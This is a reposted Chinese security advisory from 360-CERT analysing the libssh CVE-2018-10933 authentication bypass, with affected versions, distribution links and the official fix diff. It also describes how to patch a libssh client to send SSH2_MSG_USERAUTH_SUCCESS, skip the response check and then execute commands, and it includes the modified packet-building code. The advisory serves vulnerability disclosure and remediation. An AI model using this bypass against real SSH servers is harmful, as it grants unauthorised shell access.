libssh CVE-2018-10933 身份验证绕过漏洞分析报告

栏目: 编程工具 · 发布时间: 6年前

内容简介:报告编号:B6-2018-101703报告来源:360-CERT

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

报告编号:B6-2018-101703

报告来源:360-CERT

报告作者:360-CERT

更新日期:2018-10-17

0x00 事件背景

2018-10-16 libssh发布更新公告旨在解决CVE-2018-10933的问题

libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。 通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的 SSH2_MSG_USERAUTH_REQUEST消息,攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。

0x01 详情分析

在libssh的example中已经存在一些server端的例子,测试环境则采用这些例子进行说明

这个漏洞能用,但目前就分析而言发现,无法很好的泛用,所以建议及时进行更新以免遭受影响

在libssh中以session的方式对会话进行处理,无论是server的建立还是client的连接。

均以

session = ssh_new();

进行session建立

因为这个漏洞是直接获得AUTH所以服务端的配置和客户端的连接认证方式等完全不用在意

简单的client连接示例的部分代码,以体现逻辑为主。

首先是设置一些参数,然后利用session进行连接

然后进行knownhost认证处理,这步就是平时在进行ssh连接的时候进行提醒的是否要保存信 息

if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0)
    return -1;
if(ssh_connect(session)){
    fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
    return -1;
}
state=verify_knownhost(session);
if (state != 0)
    return -1;
auth=authenticate_console(session);
if(auth != SSH_AUTH_SUCCESS){
    return -1;
}

authenticate_console(session)

的流程为先发送一个 ssh_userauth_none 再根据选择的AUTH方式,尝试GSSAPI、PublicKey、 Password的方式

这里采用的patch掉client中发送密码认证的时候的数据包

将第二行的 SSH2_MSG_USERAUTH_REQUEST -> SSH2_MSG_USERAUTH_SUCCESS

rc = ssh_buffer_pack(session->out_buffer, "bsssbs",
            SSH2_MSG_USERAUTH_SUCCESS,
            username ? username : session->opts.username,
            "ssh-connection",
            "password",
            0, /* false */
            password
    );

并且需要在 ssh_userauth_get_response 之前直接返回,因为这一步会再次向服务端进行通 信,但此时受影响版本的server已经 Authentication successful

这时候的session就已经可以获得相应的权限了。通过官方的Tutorial的执行命令的例子调 用 ssh_channel_request_exec 进行命令执行

0x02 修复分析

官方通过增加字段,并注册额外的session状态校验函数进行检验,在处理流程中标注 session处于的状态,避免client随意发送 SSH2_MSG_USERAUTH_SUCCESS 进行bypass

+static enum ssh_packet_filter_result_e ssh_packet_incoming_filter(ssh_session session)
+    case SSH2_MSG_USERAUTH_SUCCESS:                   // 52
+        if ((session->auth_state != SSH_AUTH_STATE_KBDINT_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PUBKEY_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PASSWORD_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_GSSAPI_MIC_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_AUTH_NONE_SENT))
+        {
+            rc = SSH_PACKET_DENIED;
+            break;
+        }

该校验函数判断session的状态是否处于 SSH_AUTH_STATE_PUBKEY_AUTH_SENT , SSH_AUTH_STATE_PASSWORD_AUTH_SENT , SSH_AUTH_STATE_NONE_SENT 这些个状态 来确认是否要接受数据包里带有 SSH2_MSG_USERAUTH_SUCCESS 的情况

@@ -88,6 +88,7 @@ static int ssh_auth_response_termination(void *user){
     case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
     case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
     case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+    case SSH_AUTH_STATE_AUTH_NONE_SENT:
       return 0;
     default:
       return 1;
@@ -143,6 +144,7 @@ static int ssh_userauth_get_response(ssh_session session) {
         case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
         case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
         case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+        case SSH_AUTH_STATE_AUTH_NONE_SENT:
         case SSH_AUTH_STATE_NONE:
             /* not reached */
             rc = SSH_AUTH_ERROR;

同时在每次的response校验中增加该字段,如果该字段存在就直接返回error

0x03 验证截图

执行命令

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

获得shell

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

0x04 影响范围

libssh0.6以上的版本

目前各大发行版中部分已经对相应package进行更新,但还未完全进行版本迭代,具体情况可以关注一下链接

Debain

https://security-tracker.debian.org/tracker/CVE-2018-10933

ubuntu

https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10933.html

opensuse

https://www.suse.com/security/cve/CVE-2018-10933/

redhat

https://access.redhat.com/security/cve/cve-2018-10933

通过360CERT Quake资产检索平台发现共计3,170台设备开放libssh服务在外网,但并非所有的libssh服务均处于受影响的版本范围。该漏洞影响范围有限。

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

0x05 修复建议

及时对服务端libssh版本进行更新

可以在如下网址下载最新的0.7.6以及0.8.4版本

https://red.libssh.org/projects/libssh/files

或者在如下地址寻找对应版本的patch文件

https://www.libssh.org/security/

0x06 时间线

2018-10-16libssh 官方发布重要更新

2018-10-16360CERT发布预警报告

2018-10-17360CERT发布分析报告

0x07 参考链接

  1. libssh官方更新
  2. libssh修复patch
  3. libssh CVE-2018-10933说明
  4. 360CERT预警报告

以上所述就是小编给大家介绍的《libssh CVE-2018-10933 身份验证绕过漏洞分析报告》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

剑指Offer

剑指Offer

何海涛 / 电子工业出版社 / 2014-6-1 / CNY 55.00

《剑指Offer——名企面试官精讲典型编程题(纪念版)》是为纪念本书英文版全球发行而推出的特殊版本,在原版基础上新增大量本书英文版中的精选题目,系统整理基础知识、代码质量、解题思路、优化效率和综合能力这5个面试要点。全书分为8章,主要包括面试流程:讨论面试每一环节需要注意的问题;面试需要的基础知识:从编程语言、数据结构及算法三方面总结程序员面试知识点;高质量代码:讨论影响代码质量的3个要素(规范性......一起来看看 《剑指Offer》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具